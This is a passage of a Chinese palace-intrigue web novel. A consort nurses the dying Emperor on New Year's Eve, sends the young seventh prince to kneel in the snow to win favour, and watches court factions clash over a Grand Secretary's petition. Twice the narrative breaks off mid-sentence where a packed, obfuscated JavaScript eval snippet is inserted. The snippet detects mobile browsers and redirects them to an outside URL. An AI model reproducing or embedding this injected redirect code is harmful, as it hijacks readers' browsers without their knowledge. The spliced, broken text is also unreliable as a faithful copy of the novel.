这一场除夕宫宴,为了压下圣上病危的流言,安抚民心,在内阁的默许下办得格外隆重,在京七品以上的官员均可携亲眷出席,一时人流如潮,嘉客满宴。 申时,乔燕和董玉莲一左一右搀扶着盛装的文景帝露了个脸,又匆匆回到主敬殿。等文景帝喝了药睡下,乔燕复回到宴会上。 看到乔燕回来,皇后对她伸出手:“来。” 乔燕一怔。 皇后竟在这样大的场合给这样的脸面,乔燕不解,却沉得住气,顶着无数目光的注视,听话地站到皇后身侧,屈膝扶住皇后伸出来的那只手。 有眼力见的宫婢已经加了一个软垫,乔燕就这样坐在皇后的旁边。 乔燕与皇后的接触不多,此刻皇帝不在,这位常年简居深宫的一国之母,华服加身端坐高位,轻而易举便镇住了偌大的场子,几乎让人想不起,檀香缭绕的静室内念着佛经的素服身影也是她。 皇后没有松开手,反而在她手背上拍了拍:“闻说这几日你衣不解带地伺候在圣上身边,苦了你了。” 乔燕摇摇头,乖顺地低下眉眼:“这都是妾的福分。” “花儿一样的年纪,都憔悴了。” 皇后叹一声,亲自拿起筷子,搛了一碟子姜汁鱼片,摆到她跟前。 “谢殿下恩典。” 乔燕受宠若惊地吃了起来,一边吃,一边听皇后在耳边问:“今年这么冷,大雪下个不停,你那殿里可暖和?” “妾自封嫔后就搬到了主殿,地龙昼夜不歇,暖和的很。” “那就好,你来宫里不久,脸皮薄,有什么不好和圣上说的就来找我。” “是。” 喧闹的背景淹没了她们的私语。她们神态平和宁祥,笑语晏晏,粉饰着宫内宫外汹涌不息的暗流。 皇后身边的大宫女金波走上前,手里拿着一只玉碟,碟上摆着一小份姜汁鱼片。金波跪在案侧,笑着道:“七殿下看两位主子喜爱吃这个,便将他的那一份送了来孝敬皇后殿下和惠嫔娘娘。” “惠嫔爱吃,恒奴一片孝心,惠嫔就多吃点。”皇后随手指了盘樱桃肉,“这个赐给他,我记得他爱吃这个。” “是。” 金波端着樱桃肉走下去,乔燕顺着她的身影找到李琢。小孩儿拘谨地踞坐在赵王旁边的席位上,身形挺的笔直,案上的菜几乎没有动,也没抬头,那碟姜汁鱼片不知是他自己的主意,还是身边的奴婢作主送的。 等金波把樱桃肉送到,李琢惶惶然抬头,挂上惊喜的表情,朝着皇后的方向磕了个头,方恭恭敬敬地吃了起来。 乔燕一时没有收回目光。 姑苏坊间多的是李琢这么大的孩子,生活并不富贵,甚至一年里只能吃两三顿肉,但他们的脸上永远是真切的喜怒,也从没有像七皇子这样,诚惶诚恐地去吃一碗精贵的肉食。 不知道他喜不喜欢吃樱桃肉。 这场盛宴直到酉时末才结束,恭送皇后离开后,乔燕也离开了殿室,领着两个宫女站在避风雪的墙边等着,直到李琢瘦小的身影出现在门边,才把人喊了过来。 “恒奴,来。” 乔燕牵过他的冷冰冰的手,捂在掌心,问道:“怎么没见孙娘娘?” “娘亲身体不适,和皇后告了假。” “请医官了吗?” “请了,医官说染了风寒,开了药,”说到这里,李琢明显有些消沉,一双乌黑滚圆的眼睛里盛着遮掩不了的害怕,“母妃天天喝药,却不见好。” 风寒不算大症,但是有时候也会要人命,尤其是现在医官都住在主敬殿后面,留守太医院的只有医士,孙贵人身子本就弱,过得又较为清贫,能不能撑过去还真得两说。 乔燕吩咐宜婵:“你去含章宫看看,有没有帮得上忙的。” “是。” 乔燕这才摸了摸李琢的头,温言道:“你娘亲不会有事的,倒是你,一晚上只吃了一盘樱桃肉,怕是饿了,随我回去给你弄点热食吃。” 李琢张了张嘴,眼圈忽然红了,牢牢攥住她的手,又抿住了唇。 这孩子,一看就是鲜少被这样关心。 乔燕在宫内有些殊荣,出行可乘步舆,但今日来的大臣们除首辅等几个老臣有资格乘舆,其他人皆得步行,乔燕不想招人眼球,便也选择了步行。 牵着李琢走了两步,转过宫墙,却见墙的另一侧呼啦啦站了七八个人,被围在中央的两人锦衣华服,气质卓然,却是秦王夫妇。 乔燕很快反应过来,松开李琢的手行了一礼:“秦王殿下,王妃。” 李琢把手背在身后,乖乖地喊了一声:“二哥,二嫂。” 秦王仅蜻蜓点水地看了一眼乔燕,眼神就专注地落在幼弟身上。倒是秦王妃温柔一笑,似乎早已习惯了在这样的场合替丈夫交际,示意身后的人递出食盒。 “正要去找七弟。方才殿下注意到七弟没怎么吃东西,便着人去厨房拿了点吃食,想着给七弟垫垫肚子。现在知道有惠嫔照顾他,我们准备的这些倒拿不出手了。” “这是两位的心意,七殿下感动都来不及。”乔燕替李琢接过食盒。 像是为了应和她的话,李琢仰起脖子,认认真真地说道:“谢谢二哥和二嫂关心。” 秦王妃看了一眼身边的丈夫,见秦王并无开口的意思,对李琢说道:“你二哥面冷心热,平日再惦记你不过,日后有什么需要,尽管遣人来找。” 又道:“时候不早了,我们还要出宫,这就告辞了。” “两位慢走。”乔燕含笑牵过李琢,让到一边。 等看不到乔燕,秦王妃才微微一笑,感慨地道:“传闻中这位惠嫔敏而擅辩,原以为要更为强势一点,不想是这样柔和似水的人儿。” 一顿,想到什么,又道:“方才听她和七弟说话,似乎关系亲近,她圣宠在身,又私近年幼的皇子,想来确实有些手段,不似看上去那般无害。” 秦王听到这里,忍不住皱起眉:“少说点,这是宫内,小心予人口舌。” 他们才蒙大赦,是该谨言慎行,经秦王这一提醒,秦王妃心中微惊,知道自己话多了。 也不知是不是紧张过度,她的腹部忽然痉挛,强忍着走了几步,疼痛如浪潮一阵越过一阵,撕裂般的疼痛直劈天灵盖,她还有些懵懂,一手下意识地捂住肚子,另一只手拽住了秦王的衣袖。 万籁俱寂的时候,乔燕猛地从睡梦中惊醒。 她平日也醒得早,自要去主敬殿侍疾起,每日寅时起床,时间一久,就习惯了。 但今日似乎有些不同。 窗外格外的静,雪落的簌簌声被吞没在苍茫夜里,在这样的衬托下,不知何处的窸窣脚步声更显清楚。她争着眼睛,屏气凝神听了一会儿,也不确定这脚步声是不是自己的幻觉。 七殿下李琢酣睡在她身边,六岁的小孩儿面向她,手脚蜷缩着,手里还握着她的一缕头发,她小心地将那缕头发抽出来,无声息地落地。 昨日李琢在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079907|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这里吃了秦王夫妇捎的糕点,又喝了两口鸡丝粥,眼见大雪纷飞,天凝地闭,不宜夜行,乔燕便让人去含章宫给孙贵人传了讯,留李琢在身边睡一晚。 因为有些累,再加上有个孩子,所以没有守岁。 本来将人安置在暖阁里,但这孩子不知道怎么回事,任宫女们怎么哄都睡不着,最后乔燕不得不学孙贵人把人带在身边,也许是在乔燕身上找到了熟悉的温暖,李琢依偎着她很快便沉入了梦乡。 脚下厚重的羊毛毡被地龙烘烤得暖融融的,乔燕紧绷的神情略有放松,就着透过窗纸的月光,慢慢走到外间,摇醒守夜的宜婵。 “……娘娘!” 衔青殿摆着一顶圣上赐下的西洋钟,乔燕嫌吵,就摆在外间,宜婵醒了后第一时间瞥了眼,发现才过子时。 过了子时,就到了文景四十一年了。 文景四十一年的正月初一。 “嘘——” 外间只留了一盏油灯,灯芯烧得短,火光并不算亮。乔燕在榻沿坐下,小声道:“你听?” 宜婵依言屏气,却什么都没听到,她坐起身,悄声说道:“奴婢出去看看。” 乔燕心神不宁地点了点头,“仔细点,若有什么事不要作主,先告诉我。” “奴婢省得,您再回去躺会儿吧。” “我不了,恒奴还睡着,别吵了他。” “那好,奴婢很快回来。” 宜婵利索地来到门边,连暖耳都没来得及戴,就推开了门。看着苍茫的夜色,她吸了一口冷气,被寒风激出一身的鸡皮疙瘩。 雪停了。 这场下了月余,几乎盈满了农民的绝望的雪,在新年伊始的时候竟然停了。 宜婵扭头看了眼屋内,闷头闯入寒风里。 宫内若有什么值得乔燕当心的事,无非在主敬殿或景仁宫。被冷风一吹,宜婵头脑格外清晰,先去排房喊醒黎月,让她去景仁宫探探消息,自己则提着一盏灯,往主敬殿的方向去了。 主敬殿此刻灯火通明。 风雪消停,来往的奴婢脸上却不见丝毫喜色,医官们鱼贯而入,紧闭的殿门时不时洞开,宫女和太监揣着或痰盂、或铜盆来去匆匆。 “诸位商量了快半个时辰了,再不说出个章程,可就来不及了。” 董玉莲站在一群医官前,脸上有些不耐烦的神情。 就在除夕宴会结束后,秦王府忽然传来王妃小产的消息,文景帝听到后并没有多少表示,服了药就睡了,孰料夜半情况急转直下,咳嗽不停,高烧不退,眨眼间就去了大半口气。 在场的十数位医官均已诊过脉,却都支吾着,没有一个人敢说个子丑寅卯来,最后说要商量一二,董玉莲就让到外间,一众太监守着等着,然而等到子时过了,都没听他们商量出个结果。 他们等得起,文景帝怕等不起了。 董玉莲施压之下,医判终于颤巍巍地站了出来:“董公公,不是我们不敢开药,而是圣上这情况……须下峻药……可是我们……” 声音越来越轻,终至无言。 若下峻药,便是把命悬在了刀刃上,救回来还好,不然第一个被问责,担一个谋害皇帝的罪名,那可就冤死了! 董玉莲默了一瞬,没有接茬,转头吩咐:“事关重大,去景仁宫要个主意。要快。” “是。” 被叮嘱的太监擦着汗,小跑出去,殿门一开一阖间,挥之不去的血腥味散入苍白的夜里。 文景四十一年的不太平,就从这时开始。 24. 亳王 主敬殿西边有一座进出两室的配殿,名为“扫云”,乃从前皇帝的贴身道童居所。问天观封禁之后,两位道童被东厂处置,这殿便空了下来,宫婢日日洒扫,家具虽然陈旧,却也整洁。 圣上病重须用峻药,皇后亲自赶来坐镇,奈何主敬殿内挤满了太医,腾不出地儿,再者人来人往恐有冲撞,扫云殿便被收拾了出来,供皇后暂歇。 扫云殿的内间南墙根处摆着一张黄花梨木做的联三橱,上置剥金香龛,里头正袅袅地升着苍白的烟。伴随着这烟,一股极清的香味慢慢弥散开。此香名“青麟髓”,提神醒脑,皇后身边的大宫女金波特意命人从景仁宫的库房里取来。 联三橱的东侧有一把黄梨木扶手椅,就置在横窗下。皇后坐在上头,合着眼,手里不停转着佛珠。 乔燕站在一旁,嘴角绷着,入神地盯着椅子扶手上的一道纹路,眼神却有些散。 这屋子没有地炕,四角摆上了铜镂熏炉,烧着兽金炭。然而也不知是不是许久未住过人,始终有股炭火驱不尽的寒气。乔燕的脚冰凉许久,甚至脚跟处开始生出些许肿痒的感觉。 她又疑心这股冷意是从心里头发出的,才能这样流遍四肢骨髓。 两位主子不说话,奴婢们更是大气也不敢出,针落可闻的室内浮动着焦灼与迷茫。 “殿下,喝杯水吧。” 金波自外面提进来一壶热水,先给皇后倒了一杯。皇后停下捻珠,眼未睁,只道:“给惠嫔。” 金波微怔,依言将杯子折到乔燕身前,乔燕也不渴,轻声道谢后便就这么双手握着。 暖热的水温透过杯壁传到掌心,她心乱如麻。太突然了,怎么会这般突然……龙子之争还未有定落,昨夜皇帝还去除夕宴露了面,所有人都以为,他至少能再撑几日。 几乎难以想象,倘若文景帝没有熬过今夜,那京直隶将会陷入怎样的混乱…… 甚至,她连答应了孙贵人的事都还没来得及。 主敬殿外,宜婵伫在寒风里等消息,金波送了水后又跟她站在了一起——主子们捱不了冻,他们这样的心腹自当为主子分忧。雪虽然停了,风却变得更加砭骨,她们的身子已经冻僵了,只能不停地小步原地走动来确保四肢还能动弹。 而就在不远处,正对着殿门的地方,跪着一道瘦小的身影,他已经跪了半个时辰,中途倒下了两次,不等奴婢搀扶,又自己爬起跪好,宜婵看着心疼极了。 那是七皇子李琢。 半个时辰前,乔燕把熟睡的七皇子喊醒,告诉他:“随我去主敬殿,等到了之后,你就跪在殿前,为皇上祈福。皇上什么时候醒,你就什么时候起来,知道吗。” 宜婵就在旁边看着。李琢睁着乌黑的眼睛与乔燕对视,面对这样突然的要求,他的眼里不见孩子的懵懂,只有超乎年龄的镇定,轻声问:“倘若不醒呢。” “你能全了孝名,”乔燕抚摸他的头发,“若醒,我会为你争取更多。” 李琢几乎没有迟疑:“我为父皇祈福,但是不要告诉母妃。” “好孩子,”乔燕哽了一下,把他搂到怀里,“要是实在撑不住,就装晕,其余的都交给我。” 李琢小小的脸上出现了一点愣怔,轻轻点了点头。 可这一跪,到现在,他都一直坚持着。 看着他冻得青白的脸,宜婵心急不已,几次看他摇摇晃晃,恨不得冲上去,让他就这么“晕”过去算了。 台基下忽然出现了几道身影。 走在最前面的柳昭仪头发有些乱,什么首饰都没戴,脸上挂着肉眼可辨的焦急,一走上月台,劈头就问离得近的卢柴:“圣人怎么样了?” 皇帝身边时时有董玉莲父子陪着,要么还有个唐直抒,卢柴身为主敬殿的总管太监,名头听着响亮,平常却连跟圣上说句话都难,但若圣上有事,第一个要顶包的就是他,此刻心里正苦着,只怕自己小命都要没了,哪里还乐意应付柳昭仪,便只道:“娘娘等着便是。” 柳昭仪脸色登时变得十分难堪,张口就要骂,就在这时,旁边恰到好处地截来一道柔和沉稳的嗓音,生生堵回了她的话。 “医官还在里头,没有消息传出来。娘娘纵使担心圣上,也要顾好自己身子,这外头风厉,您不如跟着奴婢去皇后殿下那里避一避,就在那边的扫云殿里。” 开口的是皇后身边的金波,她的脸面有七分在皇后那儿,柳昭仪看了她一眼,忍气把话吞了回去,却也没有应答,指着李琢问:“他跪什么?” 金波恭恭敬敬地答道:“七皇子一片孝心,为圣上祈福。” 柳昭仪闻言眉头微挑,神情有些轻蔑,又似讥诮。 只是她没说话,在场的人便当什么都没看到,金波重新垂首站好,卢柴往人群后缩了缩,殿外又重新恢复了死寂。 好在没有再等多久,殿门洞开,医官们互相搀扶着由董玉莲送了出来,个个白着脸,宛如鏖战方休。 柳昭仪立刻上前:“如何?” 最前面的医官吐出一口气,声音颤抖,带着劫后余生的庆幸:“苍天庇佑,苍天庇佑啊——” 话音未落,金波拔腿便去西侧殿传消息,宜婵正要跟上,却见地上瘦小的身子晃了晃,无声地倒了下去,吓了一跳,连忙拨开人群冲上前,把人抱在怀里。 “太医!太医!快,看看七殿下!” 门前头,柳昭仪被董玉莲伸出拂尘一把拦住:“柳娘娘,圣上才醒,要静养,奴婢不敢放您进去。” 柳昭仪今夜接二连三地被宫人挡脸,终于忍不下了,抬起手“啪”的一声便甩到了董玉莲的脸上。 董玉莲被打的偏了一下,旁观这一幕的人里好几个吸了一口凉气,倒是他自个儿,仿佛没事人似的,把脸扭回来,和气地说道:“奴婢让娘娘不痛快,该打,但奴婢的主子是圣上,他老人家不让您进,奴婢便是死在这儿,也不敢让您进一步。” 语毕,不再看人,不疾不徐地走到宜婵身边,“宜婵姑娘,圣上要见乔娘娘,你去传一声,七殿下就交给咱家照顾吧。” …… 子时五刻。 层叠的床幔垂着,只能隐约看到被子隆起的身形,乔燕在脚踏上跪下,轻轻唤了声:“圣上。” 被子起伏了两下,“嗬嗬”的喘气声后,一只枯瘦的手从帘下伸了出来,乔燕轻柔地握住,又含笑唤了一声:“圣上。” “咳咳,等,咳咳,等很久了吧。” “等您睡醒罢了,妾天天不都这么等过来了么。” 想起乔燕每日风雨无阻地前来侍疾,文景帝静默少倾,轻拍了拍她的手。 “什么时辰了?” “妾没有留意,这就去问一声。” “不必了,咳咳,你陪一陪我,咳咳咳咳咳……” 文景帝忽然剧烈地咳嗽起来,带动整个架子床都有些颤动。乔燕伸手入帐,轻柔地拍着他的胸口,等稍缓了,方松开手。 “妾给您倒杯水。” 窗边火炉上温着热水,乔燕走过去,提起水壶,听得身后的帘帐中,文景帝慢慢地说道:“小七还在外面吗?” “七殿下刚刚晕过去,如今正在暖阁受诊。” “我方才听董大伴说了,小七是跟着你来的。” “是,”乔燕专注地看着壶中水注入杯子里,“妾见七殿下宴会上吃得少,唯恐孙贵人病中伤神,便带他回衔青宫起小灶填了点肚子,夜间雪大,七殿下便在妾那里宿了一晚。” 说着,微皱起眉,感伤道:“只是不知为何,妾深夜惊醒,难以入眠,心里放不下您,便索性起身,想来您身边侍疾,不曾想一来到这儿,就见灯火通明,人仰马翻的,才知您犯疾……” 她走到床边跪下,掀开帘帐一角,一手扶在老皇帝后颈,微微使劲,另一手将杯子凑到文景帝唇边,辅以喝水。 这样的活她这些日子做惯了,此时做来十分熟稔。 文景帝慢慢地喝了两口,重新躺回床上,没有作声。乔燕将杯子搁至膝边,为文景帝掖好被角,继续道:“七殿下听闻妾来主敬殿,立马穿好衣服跟过来,他年岁虽幼,却很慈孝,医官们施救时,一直跪在外面为您祈福。” 文景帝这样刚愎之人,若要向其邀功,最忌半遮半掩地试探,乔燕在他跟前说话素来显得直白,就算文景帝不应,也不会心生不喜。 文景帝又咳了两声,接过话:“外面冰天雪地的,倒是难为他一片孝心了……小七那孩子,鲜少见他亲近谁,可见你与他有缘……咳咳咳,挂起这帐子,我想看看你。” “是。” 乔燕挂好床帐,文景帝睁着眼,他的眼皮因为褶子而往下垂,眼珠子却并不如一般的老人一样有浑浊之态。 文景帝注视着她,又似透过她在看什么,眼神十分柔软。 “过了年,你二十三了吧。” “是。” 静了一会,文景帝很轻地说:“你姑姑入宫的时候,差不多也这么大。” “双十年华,可是女子最好的时候,却蹉跎在我这个老头子身边,你待我真心,我感受得到,是我亏欠了你……” 听到这里,乔燕面露惶恐,连忙要开口,却被文景帝微微抬手止住。 “我时间怕是不多了……宫中女子,先是依靠我,再依靠孩子……你前几日和我说的事,我想了好久,这宫里认干儿子的,都是些腌臜人,你要认小七做干儿子,不妥……” 乔燕闻言,难掩失望,却在这时,又听文景帝喘了口气,续道:“就把他养在你膝下吧。” 乔燕浑身一震,大喜大悲,喜的是成事如此轻易,悲的是文景帝语气颇有种交代后事的感觉:“圣上……” “别急,听我说完……咳咳……” “对我来说,这孩子来得太晚,长这么大,我也没有怎么关心过他,难为他心里还有我这个父亲……孙氏母族不显,他的兄长们又都不能容人,我百年后,孙氏怕是保不住他,换成是你,我也放心一些。” 乔燕心乱如麻,许久,才哽咽叩首:“妾叩谢圣恩。” “起来吧。” 乔燕擦了擦眼睛,重新在床边跪好。文景帝看着她,忍不住伸手将她眼角残留的泪珠揩去。 “哭什么,我还没说完呢。我有心让你护住小七,又怕日后他反而成了你的累赘,就趁现在我说的话还有些分量,封他一个亳王,你看如何。亳州乃成汤旧地,山饶水富,又有长江天堑做垒,可保你们母子富贵无忧。” 给七皇子封王本来是乔燕要求之事,没想到她还没开口,文景帝就都想周全了。 乔燕摇了摇头,红着眼睛挤出一个笑:“妾什么都不求,只希望您能长命百岁。” “别说傻话了。” 文景帝不再看她,趁尚有精神,扬声唤董玉莲入内,问道:“都有谁来看我?” “回圣上,奴婢守着消息,并未传到宫外,只皇后殿下和宫里的一些娘娘来了。” “让皇后进来,”文景帝最后拍了拍乔燕的手,“乔氏,你先回去吧。回去好好休息。” 丑时三刻。 殿外,卢柴好容易送走各宫妃嫔,正松口气,一转头,瞧见玉墀角落的铜鹤旁掩着道檀色的人影,再仔细一瞧,那人竟是惠嫔,吓得一口气未松完就又提起了。 惠嫔带来的宫女也不知去了何处,主敬殿的奴婢们提心吊胆了一整晚,此刻松懈下来,竟无人留意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵王叹了口气,摇摇头,嘴角微翘,难掩讥诮,“圣人的态度,我大约能猜的到。内阁现今仅剩二辅,若因这点‘小事’就处置了首辅,二哥怎么办呢。” 不过此事只是个开头,他们布的局远不止这一环,束继文便是不会折在这里头,也会因这阵风,而引焚身之火。 胡襄讪讪不敢搭话,赵王自个儿将话题一转:“这个何舂,不论人情,仅循法理,可真是个呆子。冯忱去后,束继文对他多有照拂,如今束家生事,他立马告到御前,一点不看束继文的脸面,可怜束继文一片拳拳之心。” 胡襄奉承道:“殿下和董爷慧眼识人,人尽其用,略设小局,他便入套了。” “倒非圈套,束家所犯之事是真,他们要恨只能恨犯的时间不对,帮了我们大忙。又闻二嫂小产,秦王府折腾了一夜,我那二哥此时恐怕焦头烂额,分身乏术,顾不上宫里,看来老天是站在我这头的。” 胡襄得意地邀功:“秦王妃小产,老天是否出力不可知,但董爷可是出了力的,要不怎么能有如此天时人和呢。” 赵王眉头微不可察地一皱:“我怎么不知?” 这话不难听出诘难的味道,胡襄一怔,这才反应过来,董玉莲此举虽是锦上添花,却背着赵王行事,自古以来上位者最忌如此。 胡襄心里顿慌,跪在地上,抬手便扇自己的嘴,左右开工,连扇了□□下。 “都怪奴婢这张嘴,不会说话……事发突然,董爷便宜行事,没来得及知会您,殿下勿怪……这,秦王妃怀孕一事瞒得紧,昨夜宴席上宫人才发现端倪,此事乃计划之外,又未必可举,便不曾宣扬。” 赵王一边听他说着,一边拿起水杯,举到唇边时方想起杯子空了,于是垂睫盯着杯底的水渍,将空杯在手里转了一转,才微微笑道:“董公公如此费心帮我,实不敢忘。” 扫云殿。 也不知睡了多久,乔燕迷蒙睁开眼,看到道人影在不远处,背对她站着,下意识唤了声:“宜婵。” 那宫女一顿,放下手里的东西,回身一礼:“奴婢是主敬殿宫女程寿。宜婵姑姑方才来过,见您睡着便没进来,道要回衔青宫取一些您的常用之物,让奴婢在这里守着,若是您醒来就告诉您一声,七殿下已无大碍,您自己多要保重身体。” 乔燕揉了揉额角。 “什么时辰了?” 程寿出去看了眼漏刻,进来回道:“刚到寅时,娘娘才歇了半个时辰,不妨再睡一会儿。” “你在弄什么?” “炉子里的香料尽了,奴婢正准备续一截。” “不必了,你下去吧。” “是。” “等等……圣上那里有什么事都立即喊醒我。” “是。” 乔燕重新闭上眼,睡了半个时辰,不仅没有解疲,反而使她脑袋两侧隐隐生疼,困意不绝,更不知为何,心里一直吊着。 就这样,也不知何时陷入浅寐,恍惚间又陡然惊醒。 外头脚步匆匆,细语切切,听得人心慌。乔燕捂着胸口,正要唤人,门被人一把推开,进来的还是那位程寿,脸色不甚好。 “娘娘,方才会极门送来奏本,不知写了什么,圣上看了后吐血晕了过去,奴婢一听说就赶紧来了您这……” 乔燕脸色微变:“穿衣。什么时辰了?” “五更三点,寅时五刻,宫门刚开。” “刚出宵禁就送来奏本?莫非宵禁时就有人候在宫外了?……会极门今日谁当值?是司礼监的人吗?” 程寿不敢应。乔燕脑子里乱成一团。 25. 受伤 天边的黛色越来越透亮,像一块水洗的玉,渐渐将夜幕分为一半黑、一半青白。宫城里的人、屋、景,也都蒙了一层深沉的青色,泛着冷意。 一夜过去,主敬殿前的玉墀上又立满了人,此时宫门刚开,臣子还未走到这里,是以候着的全是妃嫔和宫人。 乔燕踏上台基,慢慢往人群前头走,无数目光落在她身上,她不甚在意,微垂着眼,脸上没有表情。 乔燕的身影刚刚显露,门外的一个小太监就闪身入内,等她走到门前,董玉莲恰好迎了出来。他一夜未睡,精神似有不济,眼皮耷拉着。 “惠嫔娘娘,可是不巧,圣上还未醒,您看这……” 这时,门又开了,竟是唐直抒走了出来,他也一拜,却道:“可是巧了,圣上方醒,奴婢一说惠嫔来了,他就让您进呢。” 乔燕点了点头,无心理会他们二人之间的锋芒,只面无表情地看着拦在跟前的董玉莲。 董玉莲僵立片刻,不得不挪开步子。 内间,床帘挂着,文景帝倚在床头,身后垫着枕头,脸色蜡黄,手上捏着一本奏疏。 看到乔燕,他神色略微舒展,止了礼,招手让人走到跟前。 “怎么又来了,不是让你回去好好休息。” “妾已经睡了一觉,心里记挂不下,就来了。” 乔燕跪在脚踏上,忍不住朝那奏疏看了眼。文景帝看到,咳了两声,道:“这是何舂递来的劾本,这人在南京时就总惦记着弹劾京直隶的人,现在去了山西,不过短短几日的工夫,竟连日亲自赶过来,只为弹劾元辅。这擅离职守的账,我还有的跟他算呢!” 他习惯了与乔燕谈些朝堂之事,说完还露出了一副无言以对的神情:“我原道他是替冯忱出头,是以常寻司礼监等人不快,现在看来,这就是块又臭又硬的石头,见什么不平事都要敲两下。” 乔燕心里一惊,下意识追问:“束阁老素来持身端正,何来讦处?” 她头疼了一晚,心里又乱,失了往日阵脚,说话急了。 文景帝顿住,察觉到一丝异样,深看她一眼,闭上眼,平静道:“说来,劾的也不是元辅本人,而是他家乡族人。想知道,自己看吧。” 乔燕顾不得揣摩皇帝的深意,拿起奏本一目十行地看了起来。 这封奏本,状告束继文的族人在祖地占隐田千亩,逃避田税,奴役乡里,仗势欺人。其间提到,一位族孙看上了一位美妇,妇人的丈夫告到县衙,却反而被抓起来打了二十棍,幸好是县学的生员,有半官在身,才保住性命。 那生员心中愤恨,假意受了束家送的钱财平息此事,却不想转头就逃出了原籍地,想到京城告御状,说来也巧,他在途中遇到何舂,曾听闻何舂铁面无私的名声,便将此事悉数告知。何舂听后,勃然大怒,当仁不让地写了这篇劾文,生怕被内阁截下,亲自入京递到会极门,才有了今日之事。 至于那名生员,此刻正在宫外,随时可听召入宫佐证。 等到乔燕看完,心不由往下沉。一边叫着“要遭”,一边又有些许困惑。 这劾本乃何舂所写,何舂从前与束继文有私,如今竟能抛却往日恩情弹劾束继文,光这一点,弹劾之事的可信度已大大提升。 她困惑的是,这件事这到底是束继文自己的手笔?还是董玉莲那头的? 若是束继文自个儿所计,为何这样不留情面?所图为何? 若是董玉莲和赵王的算计,那就真的遭了。束继文对此一无所知,等会卯正还要跪逼天子,天子一怒,生生要给束继文困成死局。 见乔燕看完了在那沉思,文景帝又道:“这儿还有封陈情书,也是何舂为元辅求情。这个何舂,我实在是看不懂他了。你觉得,对于元辅,朕要怎么治他的罪啊?” 会开口问乔燕这个女流的意见,显然这时的文景帝并未将此事放在心上,也并未打算重惩。 乔燕却手脚冰凉,深吸一口气,心一横,跪正了就要开口,这时司礼监秉笔太监董治跌跌撞撞跑进来:“圣上——中极殿大学士束继文携百官寒士跪承天门外,磕头不起。还在喊……喊……” 文景帝双目圆睁,短短几字激起勃然怒火,“给我说清楚,束继文喊的什么!” 已至卯时。 这一切发生得太快,快到乔燕嘴边陈情的话都没来得及说出来。 乔燕眼睁睁看着董治两股战战扑倒在地:“喊的是,‘储君乃国本,国不可一日无本’。” “混账!朕才是国本!” 文景帝怒火中烧,不知哪来的力气,摸起床头的手炉砸了出去,这一下正中董治额头,那手炉又是铜做的,董治头上血流如注,眼睛一翻,昏死过去。 文景帝自己也被后劲带的往床下扑去,乔燕连忙扶住。 “给我滚开!” 这实属迁怒,乔燕却是结结实实地被推了一把,往后仰倒,撞翻灯座。上头铜镀金壳的灯盏翻落,连着烧了一半的蜡烛一起,砸上她左肩。 这一下砸得她眼前一黑,痛呼一声,几乎没疼晕过去。 看她冷汗淋漓地捂着肩,脸色苍白,形容可怜,文景帝心里后悔,移开眼,喊了声:“董大伴。” “哎,奴婢在。” 董玉莲出现在门口,对满屋狼藉视而不见,谦卑地低着身子,“圣上有什么吩咐。” “朕要起来。” 董玉莲吸了口凉气,“医官叮嘱……” 文景帝一声怒喝:“朕才是你主子!” 这话似另有深意,董玉莲再不敢多言,小跑上前,伺候文景帝穿衣。很快,文景帝穿戴整齐,由董玉莲撑着站在地上,神情冰冷,眼神复杂地看着乔燕。 “乔氏。” 乔燕顾不得疼痛,跪正身子,趴低在地。 “朕问你,今日之事,你可知情。” “妾不知。” “你父兄刚入宫探亲,没跟你提过?” 乔燕猛地抬起头,眼圈红透:“他们若也在那里头,行此不忠之举,妾愿自裁谢罪。” 文景帝信不信尚未可知,心已是软了:“罢了。” 说完,就由董玉莲搀扶着,颤巍巍地往外间去。 乔燕扶着地,却是膝盖发软,竟连跪好的力气都没了,目光落在昏死过去的董治身上,蓦地讽刺一笑,满心荒凉。 皇帝之下,文武百官,妃嫔奴婢,俱是不值一提,有何两样? 坐在明间的文景帝心里很烦,但在这之外,更多的是天不假年的无奈。 若是还年轻,他自然乐意和这帮文臣再斗三百回合,可他已到了垂垂老矣知天命的时候,斗是不能斗了,斗倒了内阁首辅,董玉莲野心勃勃,宦祸遂起,到时候他两腿一蹬,新帝怎么办?朝堂怎么办?大齐怎么办? 史书会怎么记他呢? 天不假年!天不假年啊! 再给他五年,不,两年,不不,一年就够了,他就能杀了董玉莲,处理好东厂,平衡朝局,到那时,便是闭眼,也有颜面下去见各位祖宗了。 而如今,两方勉强平衡,董玉莲和束继文,恐怕一个都不能杀了啊…… 他又想起束继文逼他的理由。“储君乃国本,国不可一日无本”,他知道。只是这话由旁人说出来便十分刺耳。储君是国本,那皇帝算什么? 皇帝就算老了,也还是一国之君,社稷之本! 窗外渐渐亮了,董玉莲的心却慢慢地沉了下去。 主敬殿的外间,文景帝已经在桌子后坐了整整半个时辰,从最初的盛怒,到后面的疲惫、失望,唯独不见要杀束继文的决心。 能忍到这般,要么是对宦权忌惮至极,要么是为秦王铺路。不管哪种可能,都对他们不利。 只是他也不急,他们的筹谋刚刚开始。再等一会儿,等到百官闻讯入宫,等到秦王入宫…… “老二的孩子没了,现在怕正伤心。这么些年,他也就得了两个孩子,第一个在五年前圈禁的府邸中悄无声息地病了,等消息到朕这里,那孩子已经走了。是朕误了他,这事一直是朕心里的一块疙瘩。也是从那之后,老二写了整一年的陈情信忽然断了,整整五年,朕没再收到过他的一封手书。他好像……做好了被他的父亲关在那里直到死去的决心。朕害怕了,命人悄悄把他接出来……没想到,他好不容易又有了孩子,还来不及欢喜,就又没了。” 文景帝絮絮叨叨地说着,这些话,他似乎憋了很久,“这个孩子究竟怎么没的,朕不想追究……董大伴。” 